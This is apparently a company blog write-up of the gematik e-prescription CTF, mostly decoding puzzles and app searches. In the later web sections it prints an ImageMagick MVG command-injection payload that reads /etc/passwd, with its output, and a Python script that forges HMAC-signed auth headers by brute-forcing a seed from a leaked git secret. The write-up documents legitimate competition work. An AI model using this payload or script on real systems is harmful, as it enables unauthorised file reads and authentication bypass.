CTF Writeup: Capture the TI-eRx

A few days back, the gematik – the organisation responsible for the secure network infrastructure (called telematic infrastructure or TI) of health actors – held their first CTF. The background of the CTF was the e-prescription which publicly insured people in Germany may now use to get their medicine without the need for a prescription on paper. As a private health insurance we are not yet part of this TI infrastructure, but this is something that will probably happen in the future. Therefore, as an interested party with high security standards, a team of three ottonova employees participated in the #ctfgematik.

We had a lot of fun during this day, even though there were some daily business tasks for us that prevented us from dedicating our full time and effort to the CTF. Nonetheless, we are proud about our participation (we placed 17 out of 50 registered teams, where 30 teams solved at least one challenge). We want to share our progress in the CTF here:

TI Park

One part of the CTF was held in a Workadventure Instance. The TI Park was infected by a dinosaur sickness and you had to get the medicine to become healthy again.

In challenge 1, we needed to figure out the phone number of our doctor from the input string:

74 69 5f 65 72 78 7b 2b 34 39 33 30 32 35 36 39 38 37 34 33 34 7d

Looking at the string, this is definitely some hex numbers. So let’s try to convert them to something meaningful. Converting the to ASCII characters provided the our first flag of the day: ti_erx{+4930256987434}

Challenge 2 asked us for the name of our health insurance and provided the hint:


Probably an encoding issue again. This string looked suspiciously like a base 64 encoded string and decoding it provided our second token: ti_erx{TIPK TI-Park Krankenkasse}

Now we had to figure out our e-mail address that we used with the e-prescription and got another string to work with:

01110100 01101001 01011111 01100101 01110010
01111000 01111011 01100011 01110100 01100110
01000000 01110100 01101001 01110000 01100001
01110010 01101011 00101110 01100100 01100101

Seeing that it is some binary data is easy here. Again converting it to ASCII to get some text proofed successful: ti_erx{ctf@tipark.de}

Now the only thing that was left was getting the correct medicine:

64 47 6c 66 5a 58 4a 34 65 32 6b 67 61 47 46 32 5a 53 42 6b 5a 57 5a 6c 59 58 52 6c 5a 43 42 6b 61 57 35 76 63 6d 6c 30 61 58 4e 39

Again some hex data? Let’s convert to ASCII again: dGlfZXJ4e2kgaGF2ZSBkZWZlYXRlZCBkaW5vcml0aXN9

Hmm… Another base64 string? Bingo! Decode it and get the last flag for this series of challenges: ti_erx{i have defeated dinoritis}

Android App

The next set of challenges that we tackled were the challenges regarding the e-prescription mobile app. As we only had android devices at hand we were only able to solve 3 of the 4 challenges (one of them only worked with iOS).

Challenge 1 of the app challenges asked for the contact data of a non-existent health insurance. Inside the app you can get support with getting the requirements for the e-prescription such as the electronic health card and a PIN number. Therefore it provides contact details for several insurances. Finding the correct (non-existent) insurance was quite tiresome as you always had to select the insurance from a drop down menu go to the next page, check its contact information, go back choose the next insurance, and so on, and so on – For the normal usage this is fine, but for our “hacking” attempt this meant that it took us at least 20 minutes longer as it would had otherwise. Finally (after consuming two hints here), we figured out that the fea-direkt Krankenkasse is no real insurance and were able to verify its e-mail address as the correct flag: ti_erx{erezept-ctprozess-03011892@fea-direkt.de}

The next task asked us to figure out which doctor had prescribed a certain medicine. We quickly figured out who the doctor was in the prescription history but struggled to get the correct flag, as its name was written differently and appeared on several places in the app. Fortunately at some point our trial and error approach was fruitful and we got our next token: ti_erx{Praxis Dr. Mortuus est}

With only android devices at hand we had to skip challenge 3 and went straight to the last challenge in this category. There we needed to find a pharmacy that did not exist. The task description stated that we should look nearby. The location in the app seemed to be fixed to Cuxhaven, a city in the north of Germany. So we checked the pharmacies near our – supposed – location. The penguin pharmacy actually existed, but we were lucky nonetheless and found a pharmacy inside the app that had a suspicious e-mail address set: BetaPosA1@gematik.de. The name of this pharmacy proofed to be the solution: ti_erx{Shark Apotheke}

File Upload and Imagemagick

Now we are coming to the best part. Web applications with some real vulnerabilities as they appear in the wild.

We tackled the “Insider Artist”, where there was supposedly an issue with an upload form. You could upload a picture that was then resized using imagemagick. Some developer forgot the debug output of imagemagick in the website source code. After an upload you could plainly see how imagemagick was used and wich version. A short CVE research showed how vulnerable this version was and provided some exploit ideas.

The task description hinted that the requested token could be found in the name of the last created user on the linux server. So we created our exploit “file_read.mvg” and uploaded it to the server:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";cat "/etc/passwd)'
pop graphic-context

The response was quite meaningful and contained the following HTML comment which contained our flag:

   ---------------- START DEBUG INFORMATION ----------------
   stdout: root:x:0:0:root:/root:/bin/bash
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Version: ImageMagick 6.8.9-9 Q16 x86_64 2016-02-02 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2014 ImageMagick Studio LLC
Features: DPC Modules OpenMP
Delegates: bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr ltdl lzma openexr pangocairo png tiff wmf x xml zlib

   stderr: convert: unrecognized color `https://example.com/image.jpg";cat "/etc/passwd' @ warning/color.c/GetColorCompliance/1046.
convert: no decode delegate for this image format `HTTPS' @ error/constitute.c/ReadImage/535.
public/upload/picture.png MVG 640x480 640x480+0+0 16-bit sRGB 121B 0.000u 0:00.459
public/upload/picture.png=>/usr/src/app/public/upload/picture.png MVG 640x480=>56x42 56x42+0+0 8-bit sRGB 2c 264B 0.020u 0:00.160
convert: non-conforming drawing primitive definition `fill' @ error/draw.c/DrawImage/3182.

   ----------------  END DEBUG INFORMATION  ----------------

Git History and Broken Authentication

This administrator of this vulnerable web application uploaded the .git directory onto the web server. After verifying the existence of some files in the folder (where we failed miserably to construct meaningful information manually), we simply downloaded the whole folder using the downloader from GitTools.

With the full .git folder we browsed the git history and found a secret key that was used to verify the a signature: v3ryv3rys3cr3t. We also found the hmac algorithm that was used as signature. The only unknown variable to send valid requests was a seed. This seed was a number in the range of 1 and 1000. So something that seems fairly easy to brute-force.

So we wrote a small script to generate the correct payload for an API request for any of the possible seeds, sign it and send it to the API.


import hmac
import hashlib
import base64
import requests

key = b"v3ryv3rys3cr3t"
user = "HELO"

for i in range(1, 1000):
    # print("Test for Random Number: ", i)
    # Create HMAC
    h = hmac.new( key, (user + str(i)).encode('utf-8'), hashlib.sha256 )
    hash = h.hexdigest()

    # Create Base64
    payload = '{{"kvnr": "{}", "sig": "{}"}}'.format(user + str(i), hash)
    b = base64.b64encode(payload.encode('utf-8'))
    # print(b)

    # Send Request
    response = requests.get("",  headers={"Accept":"application/json", "X-AUTH": b})
    if (response.text != "No prescription found"):
        print("Random Number: ", i)

The script ran for about a minute until it figured out the correct seed and gave us a valid response. Using this response, we were easily able to craft another API request regarding the medication denoted in the “Task”. This gave us the information to construct the flag. Unfortunately, we only finished this challenge 7 minutes past the deadline and were not able to enter the flag and get further points. What a shame… However this challenge was really awesome and we were debating ideas and crunching on it left us a great feeling when we finally got it working. There were so many different issues (forgotten git directory, secret in git history, signature code in git history, brute-forceable seed) in this one challenge that made it really hard but so satisfying to work on.

A big round of applause to the gematik for organising the event. We are already looking forward to the next round!


We had a lot of fun during the #ctfgematik, there were some really great challenges targeting beginners and professionals of CTFs. We did not finish the last challenge that we tried in time, but it was so satisfying to finally solve it (7 minutes after the deadline) due to all the trickery needed. We are already looking forward to the next CTF that we can participate.